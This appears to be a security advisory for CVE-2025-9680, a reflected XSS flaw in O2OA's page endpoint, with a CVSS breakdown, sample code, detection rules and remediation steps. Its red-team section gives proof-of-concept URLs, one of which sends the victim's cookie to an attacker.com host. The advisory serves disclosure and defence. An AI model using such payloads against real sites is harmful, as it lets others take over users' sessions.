CVE-2025-9680
Executive Summary
CVE-2025-9680 is a publicly disclosed, low-severity (CVSS 3.5) reflected Cross-Site Scripting (XSS) vulnerability affecting O2OA versions up to and including 10.0-410. The vulnerability resides in the /x_portal_assemble_designer/jaxrs/page endpoint, which is part of the Personal Profile Page component. An attacker can craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. While the EPSS score is 0.0%, indicating low exploitation likelihood in the wild, the public availability of exploit details and the lack of a specific patch version increase the risk for unpatched instances. This vulnerability does not affect any package manager ecosystem (NPM, PyPI, Go, Ruby) and is not a WordPress plugin issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 3.5 (Low)
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for the attack.
- Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No direct data theft.
- Integrity (I): Low (L) – The attacker can modify content within the victim's browser session.
- Availability (A): None (N) – No impact on system availability.
Threat Level: Low. The attack requires user interaction and only allows limited manipulation of the user's session. However, the public availability of exploit details and the lack of a specific patch increase the urgency for patching.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the O2OA platform's personal profile page functionality. The endpoint /x_portal_assemble_designer/jaxrs/page does not properly sanitize user-supplied input before reflecting it back in the HTTP response. An attacker can inject arbitrary HTML and JavaScript code into a crafted URL parameter. When an authenticated user clicks the malicious link, the injected script executes in the context of the O2OA application, allowing the attacker to perform actions such as:
- Stealing session cookies (if not HttpOnly).
- Performing actions on behalf of the victim (e.g., modifying profile settings, creating malicious pages).
- Redirecting the user to a phishing site.
- Defacing the application interface.
The attack flow:
- Attacker crafts a URL:
https://target-o2oa.com/x_portal_assemble_designer/jaxrs/page?param=<script>alert('XSS')</script> - Attacker sends the link to a victim (e.g., via email, social engineering).
- Victim, authenticated to O2OA, clicks the link.
- The server reflects the malicious script without sanitization.
- The victim's browser executes the script.
Vulnerable vs. Patched Code
Vulnerable Code (O2OA <= 10.0-410): The endpoint likely directly echoes the input parameter without encoding or validation. A simplified example:
@GET
@Path("/page")
public Response getPage(@QueryParam("param") String param) {
// Vulnerable: directly returns user input
return Response.ok(param).build();
}
Patched Code (Expected in next version): The fix should include proper output encoding or input validation. A secure implementation would use a templating engine that auto-escapes or explicitly encode the output:
@GET
@Path("/page")
public Response getPage(@QueryParam("param") String param) {
// Patched: encode user input before reflection
String safeParam = StringEscapeUtils.escapeHtml4(param);
return Response.ok(safeParam).build();
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target O2OA instance (version <= 10.0-410).
- A victim user who is authenticated to the target.
- Ability to deliver a crafted URL to the victim.
Exploit Payload: The following URL demonstrates a proof-of-concept XSS that displays an alert:
https://target-o2oa.com/x_portal_assemble_designer/jaxrs/page?param=<script>alert('CVE-2025-9680')</script>
Advanced Payload (Session Cookie Theft):
https://target-o2oa.com/x_portal_assemble_designer/jaxrs/page?param=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
Lab Setup:
- Deploy a vulnerable O2OA instance using Docker or manual installation.
- Create a test user account and authenticate.
- Use a local web server (e.g., Python's
http.server) to simulate the attacker's server for cookie capture. - Send the crafted URL to the victim (simulated by opening the link in a browser).
Blue Team (Detection & Mitigation)
Detection:
- Monitor web server logs for requests to
/x_portal_assemble_designer/jaxrs/pagecontaining suspicious parameters (e.g.,<script>,onerror=,javascript:). - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply the vendor's patch as soon as it is released.
- As a temporary workaround, manually sanitize the input parameter in the application code or via a reverse proxy.
- Educate users about phishing attacks and not clicking suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/x_portal_assemble_designer/jaxrs/pagewith parameters containing<script>,%3Cscript%3E, or other HTML/JavaScript encodings. - Outbound connections from the O2OA server to unknown external IPs (if cookie theft is successful).
- HTTP requests to
- File IOCs:
- Modified user profile pages containing unexpected JavaScript.
- Log IOCs:
- Web server logs showing 200 responses to the vulnerable endpoint with unusual parameter values.
Detection Engineering
YARA Rule
rule CVE_2025_9680_XSS_Detection {
meta:
description = "Detects XSS attempts targeting CVE-2025-9680 in O2OA"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9680"
strings:
$xss_pattern1 = "/x_portal_assemble_designer/jaxrs/page"
$xss_pattern2 = /<script[^>]*>.*<\/script>/i
$xss_pattern3 = /onerror\s*=\s*["']?[^"'\s]+["']?/i
$xss_pattern4 = /javascript\s*:/i
condition:
$xss_pattern1 and any of ($xss_pattern2, $xss_pattern3, $xss_pattern4)
}
Sigma Rule
title: CVE-2025-9680 O2OA Reflected XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-9680 reflected XSS in O2OA.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-9680
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/x_portal_assemble_designer/jaxrs/page'
cs-uri-query|contains|all:
- '<script'
- '</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in profile pages (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-9680 O2OA Reflected XSS Attempt"; flow:to_server,established; content:"/x_portal_assemble_designer/jaxrs/page"; http_uri; content:"<script"; http_uri; nocase; content:"</script>"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade O2OA to version 10.0-411 or later as soon as it is released. Monitor the vendor's GitHub repository for the official patch.
- Temporary Workaround: If immediate patching is not possible, implement a WAF rule to block requests containing
<script>or other XSS patterns in the vulnerable endpoint. - Long-Term Fix: Ensure all user input is properly sanitized and output-encoded. Use a Content Security Policy (CSP) header to restrict inline script execution.
- User Awareness: Train users to avoid clicking suspicious links and to report any unusual behavior in the O2OA application.
Valters IT
Securing Digital Frontiers